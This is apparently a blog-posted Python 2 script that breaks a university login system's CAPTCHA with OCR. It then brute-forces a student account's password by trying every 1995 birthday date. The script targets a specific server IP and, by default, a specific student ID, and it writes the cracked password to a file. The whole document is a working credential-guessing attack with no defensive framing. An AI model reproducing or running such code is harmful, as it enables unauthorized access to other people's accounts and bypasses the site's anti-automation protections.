#coding:utf-8
'''
猜生日密码
'''
__author__ = 'halfopen'
from bs4 import BeautifulSoup
from ocr.pytesser import *
from PIL import Image
import urllib2
import sys
import ImageEnhance
import urllib
import cookielib
import re
# 设置 cookie
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
headers = {"User-agent":"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1"}
url = "http://210.42.121.241/servlet/GenImg"
# 获取验证码图片,并保存到cap.jpeg里面
def get_cap():
request = urllib2.Request( url=url,headers = headers)
f = opener.open(request)
with open("cap.jpeg", "wb") as code:
code.write(f.read())
# 图片转成黑白图片
def pic_to_black(im):
pix = im.load() # 像素点
x, y = im.size[0], im.size[1]
# cap_txt = "" # 用来保存字符
b_im = Image.new("RGB", (x, y), (0, 0, 0))
for j in range(y):
for i in range(x):
r, b, g = pix[i, j][0], pix[i, j][1], pix[i, j][2]
if r > 120 and g < 80 and b < 80:
# cap_txt += "1"
pass
else:
# cap_txt += "0"
b_im.putpixel((i, j), (255, 255, 255))
enhancer = ImageEnhance.Contrast(b_im)
b_im = enhancer.enhance(4) # 转黑白图片
b_im.save("b_cap.jpeg")
# return cap_txt
# 获取验证码,保存到返回值里面
def get_cap_txt():
cap_txt = ""
while len(cap_txt) < 5:
get_cap()
im1 = Image.open('cap.jpeg')
pic_to_black(im1)
im2 = Image.open('b_cap.jpeg')
cap_txt = image_to_string(im2)
txt = ""
l = len(cap_txt)
txt += cap_txt[l - 6]
txt += cap_txt[l - 5]
txt += cap_txt[l - 4]
txt += cap_txt[l - 3]
return txt
def login(username, password):
cap_txt = get_cap_txt()
# print "Get a captcha:<"+cap_txt+">"
post_url = "http://210.42.121.241/servlet/Login"
params = urllib.urlencode({'id': username, 'pwd': password, 'xdvfb': cap_txt})
request = urllib2.Request(url=post_url, headers=headers, data=params) # 读取网页
f = opener.open(request) # 开始登陆
html = f.read()
soup = BeautifulSoup(html)
# 抓取网页提示信息
error = soup.find("font", {"color": "red"}) # 登录失败信息
print error
if error is not None: # 如想存在错误信息
l = len( str(error) )
if( l == 99):
print "wrong password"
return 0 # 密码错误
elif l == 92:
print "wrong captcha"
return -1 # 验证码错误
else:
return -2 # 其它错误
else:
print soup
return 1
# 猜密码
def guess(username, month_s, month_e):
for i in range(month_s, month_e):
for j in range(1, 32):
birth = "1995"+"%02d"%i+ "%02d"%j
t = -1
while(t != 0):
t = login(username, birth)
print "\t\t try again"
if t == 1:
print "\t\t\tPassword is "+str(t)+"-------------------------- :"+birth
f = open(username+".txt", "w+")
f.write(birth)
exit(0)
print "\t"+birth
#print birth
if __name__ == '__main__':
if len(sys.argv) > 3:
name = sys.argv[1]
s = int(sys.argv[2])
e = int(sys.argv[3])
print name, s, e
guess(name, s, e)
else:
print "Usage:Python login.py username start end"
guess('2013301500075', 1, 13)
猜生日密码
最新推荐文章于 2023-12-25 23:41:40 发布